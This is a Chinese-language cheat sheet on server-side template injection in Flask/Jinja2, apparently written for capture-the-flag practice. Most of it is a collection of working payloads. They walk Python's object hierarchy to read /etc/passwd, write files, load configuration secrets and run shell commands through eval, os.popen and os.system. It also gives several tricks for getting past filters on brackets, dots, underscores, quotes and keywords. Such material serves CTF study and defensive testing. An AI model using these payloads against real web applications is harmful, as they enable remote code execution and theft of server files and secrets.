SSTI注入
Flask SSTI漏洞
Flask SSTI 题的基本思路就是利用 python 中的 魔术方法找到自己要用的函数。
dict:保存类实例或对象实例的属性变量键值对字典
class:返回调用的参数类型
mro:返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。
bases:返回类型列表
subclasses:返回object的子类
init:类的初始化方法
globals:函数会以字典类型返回当前位置的全部全局变量 与 func_globals 等价
base和 mro都是用来寻找基类的。
基本流程
使用魔术方法进行函数解析,再获取基本类:
''.__class__.__mro__[2]
{}.__class__.__bases__[0]
().__class__.__bases__[0]
[].__class__.__bases__[0]
request.__class__.__mro__[8] //针对jinjia2/flask为[9]适用
获取基本类后,继续向下获取基本类 object 的子类:
object.__subclasses__()
找到重载过的init类(在获取初始化属性后,带 wrapper 的说明没有重载,寻找不带 warpper 的):
>>>''.__class__.__mro__[2].__subclasses__()[99].__init__
<slotwrapper'__init__'of'object'objects>
>>>''.__class__.__mro__[2].__subclasses__()[59].__init__
<unboundmethodWarningMessage.__init__>
查看其引用 builtins
Python 程序一旦启动,它就会在程序员所写的代码没有运行之前就已经被加载到内存中了,而对于 builtins 却不用导入,它在任何模块都直接可见,所以这里直接调用引用的模块。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']
这里会返回 dict 类型,寻找 keys 中可用函数,直接调用即可,使用 keys 中的 file 以实现读取文件的功能:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('F://GetFlag.txt').read()
读文件:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
写文件:
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()
存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。
还有另外的方法:
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').read()
写文件换为 .write() 即可。
命令执行
No.1
利用eval 进行命令执行。
''.__class__.__mro__[2].__subclasses__()[75].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
{{().__class__.__bases__[0].__subclasses__([75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
No.2
利用warnings.catch_warnings 进行命令执行。
首先,查看 warnings.catch_warnings 方法的位置:
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
查看 linecatch 的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
查找 os 模块的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
查找 system 方法的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
调用 system 方法:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
No.3
利用 commands 进行命令执行。
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()
姿势集
1)
{{config}} 可以获取当前设置,如果题目是这样的:
app.config ['FLAG'] = os.environ.pop('FLAG')
可以直接访问 {{config['FLAG']}} 或者 {{config.FLAG}} 得到 flag。
2)
同样可以找到 config。
{{self.__dict__._TemplateReference__context.config}}
3)
[]、()
{{[].__class__.__base__.__subclasses__()[68].__init__.__globals__['os'].__dict__.environ['FLAG]}}
4)
url_for、g、request、namespace、lipsum、range、session、dict、get_flashed_messages、cycler、joiner、config等
如果上面提到的 config、self 不能使用,要获取配置信息,就必须从它的全局变量(访问配置 current_app 等)。例如:
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current_app'].config.FLAG}}
{{request.application.__self__._get_data_for_json.__globals__['json'].JSONEncoder.default.__globals__['current_app'].config['FLAG']}}
5)
过滤了 []、.
pop() 函数用于移除列表中的一个元素(默认最后一个元素),并且返回该元素的值。
''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/etc/passwd').read()
在这里使用 pop 函数并不会真的移除,但却能返回其值,取代中括号来实现绕过。
若.也被过滤,使用原生 JinJa2 函数 |attr()
即将 request.class改成 request|attr("class")
6)
过滤下划线 _
利用 request.args 的属性
{{ ''[request.args.class][request.args.mro][2][request.args.subclasses]()[40]('/etc/passwd').read() }}&class=__class__&mro=__mro__&subclasses=__subclasses__
将其中的 request.args 改为 request.values,则利用 post 的方式进行传参。
GET:
{{ ''[request.value.class][request.value.mro][2][request.value.subclasses]()[40]('/etc/passwd').read() }}
POST:
class=__class__&mro=__mro__&subclasses=__subclasses__
7)
过滤引号 "
request.args 是 flask 中的一个属性,为返回请求的参数,这里把 path 当作变量名,将后面的路径传值进来,进而绕过了引号的过滤。
{{().__class__.__bases__.__getitem__(0).__subclasses__().pop(40)(request.args.path).read()}}&path=/etc/passwd
8)
一些关键字被过滤。
base64编码绕过
用于getattribute使用实例访问属性时。
例如,过滤掉 class关键词
{{[].__getattribute__('X19jbGFzc19f'.decode('base64')).__base__.__subclasses__()[40]("/etc/passwd").read()}}
字符串拼接绕过
{{[].__getattribute__('__c'+'lass__').__base__.__subclasses__()[40]("/etc/passwd").read()}}
{{[].__getattribute__(['__c','lass__']|join).__base__.__subclasses__()[40]}}
常见SSTI的payload
python2:
#文件读取和写入 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['open']('/etc/passwd').read()}} {{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}} #每次执行都要先写然后编译执行 {{''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg','w').write('code')}} {{ config.from_pyfile('/tmp/owned.cfg') }} #命令执行 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']('1+1')}} {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').system('whoami')")}} #这条指令可以注入,但是如果直接进入python2打这个poc,会报错,用下面这个就不会,可能是python启动会加载了某些模块 {{().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} #system函数换为popen('').read(),需要导入os模块 {{''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}} #不需要导入os模块,直接从别的模块调用 {{().__class__.__bases__[0].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
python3:
#读文件 {{().__class__.__bases__[0].__subclasses__()[177].__init__.__globals__.__builtins__['open']('d://whale.txt').read()}} #命令执行 {{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}} #命令执行(变种) {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()") }}{% endif %}{% endfor %} #读文件(变种) {% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('filename', 'r').read() }}{% endif %}{% endfor %}